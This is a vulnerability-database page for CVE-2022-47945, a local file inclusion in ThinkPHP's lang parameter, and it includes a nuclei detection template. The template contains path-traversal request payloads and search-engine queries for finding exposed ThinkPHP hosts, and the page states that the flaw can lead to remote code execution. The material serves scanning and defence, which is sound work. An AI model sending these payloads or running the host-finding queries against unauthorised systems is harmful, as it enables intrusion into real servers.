HexBrain

Browse / CVEs / CVE-2022-47945

CVE-2022-47945· thinkphp / thinkphp· CWE-22

Thinkphp Lang - Local File Inclusion

criticalseverity
9.8CVSS score
30.2%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

ThinkPHP Framework before 6.0.14 allows local file inclusion via the lang parameter when the language pack feature is enabled (lang_switch_on=true). An unauthenticated and remote attacker can exploit this to execute arbitrary operating system commands, as demonstrated by including pearcmd.php.

Impact

This vulnerability can lead to unauthorized access, data leakage, and remote code execution.

Fix

Apply the latest security patches and updates provided by the Thinkphp framework.

How to confirm it

Send: GET {{BaseURL}}/?lang=../../thinkphp/base ; GET {{BaseURL}}/?lang=../../../../../vendor/topthink/think-trace/src/TraceDebug
Positive when: contains "Call Stack" and "class=\"trace" AND status 500

Run it with nuclei: nuclei -id CVE-2022-47945 -u <target>

The full check
id: CVE-2022-47945

info:
  name: Thinkphp Lang - Local File Inclusion
  author: kagamigawa
  severity: critical
  description: |
    ThinkPHP Framework before 6.0.14 allows local file inclusion via the lang parameter when the language pack feature is enabled (lang_switch_on=true). An unauthenticated and remote attacker can exploit this to execute arbitrary operating system commands, as demonstrated by including pearcmd.php.
  impact: |
    This vulnerability can lead to unauthorized access, data leakage, and remote code execution.
  remediation: |
    Apply the latest security patches and updates provided by the Thinkphp framework.
  reference:
    - https://tttang.com/archive/1865/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-47945
    - https://github.com/top-think/framework/compare/v6.0.13...v6.0.14
    - https://github.com/top-think/framework/commit/c4acb8b4001b98a0078eda25840d33e295a7f099
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-47945
    cwe-id: CWE-22
    epss-score: 0.30237
    epss-percentile: 0.98236
    cpe: cpe:2.3:a:thinkphp:thinkphp:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: thinkphp
    product: thinkphp
    shodan-query:
      - title:"Thinkphp"
      - http.title:"thinkphp"
      - cpe:"cpe:2.3:a:thinkphp:thinkphp"
    fofa-query:
      - header="think_lang"
      - title="thinkphp"
    google-query: intitle:"thinkphp"
  tags: cve,cve2022,thinkphp,lfi,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/?lang=../../thinkphp/base"
      - "{{BaseURL}}/?lang=../../../../../vendor/topthink/think-trace/src/TraceDebug"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Call Stack'
          - 'class="trace'
        condition: and

      - type: status
        status:
          - 500

References

Use this check only on systems you are authorised to test. Where the data comes from